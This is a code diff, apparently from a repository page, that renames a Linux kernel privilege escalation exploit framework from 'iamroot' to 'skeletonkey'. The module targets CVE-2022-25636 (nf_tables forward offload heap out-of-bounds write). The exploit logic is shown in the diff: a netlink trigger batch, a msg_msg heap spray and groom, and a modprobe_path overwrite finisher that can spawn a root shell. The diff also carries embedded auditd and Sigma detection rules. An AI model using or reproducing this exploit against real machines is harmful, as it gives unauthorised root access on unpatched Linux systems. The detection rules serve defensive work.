@@ -804,7 +784,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 32 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, &seq);
|
||||
@@ -817,7 +797,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
|
||||
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fwd_arb_ctx ac = {
|
||||
@@ -828,7 +808,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_QUEUES_GROOM,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_msg_msg(qids, ac.qused);
|
||||
@@ -839,7 +819,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger ---------------- */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: namespace + trigger. */
|
||||
@@ -890,7 +870,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
if (after < 0) after = slab_active("kmalloc-cg-512");
|
||||
|
||||
/* Breadcrumb for triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
|
||||
@@ -919,7 +899,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -933,32 +913,30 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
" the kaddr-tagged forged-entry spray reaches\n"
|
||||
" the shared modprobe_path finisher.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc >= 20 && rc <= 24) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
|
||||
"(child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Cleanup — drain leftover sysv queues and unlink the breadcrumb.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||
}
|
||||
#ifdef __linux__
|
||||
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
|
||||
* key owned by us. SysV doesn't enumerate by key, but msgctl
|
||||
* IPC_STAT walks /proc/sysvipc/msg to find them. */
|
||||
@@ -979,13 +957,38 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
#endif
|
||||
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
|
||||
"(nf_tables HW-offload OOB) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Embedded detection rules.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -995,16 +998,16 @@ static const char nft_fwd_dup_auditd[] =
|
||||
"# Flag the canonical exploit shape: unprivileged userns followed\n"
|
||||
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
|
||||
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
|
||||
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
|
||||
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
|
||||
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
|
||||
|
||||
static const char nft_fwd_dup_sigma[] =
|
||||
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
|
||||
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
|
||||
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects unprivileged user namespace creation followed by\n"
|
||||
@@ -1024,7 +1027,7 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
const struct iamroot_module nft_fwd_dup_module = {
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
|
||||
@@ -1041,7 +1044,7 @@ const struct iamroot_module nft_fwd_dup_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_fwd_dup(void)
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
{
|
||||
iamroot_register(&nft_fwd_dup_module);
|
||||
skeletonkey_register(&nft_fwd_dup_module);
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user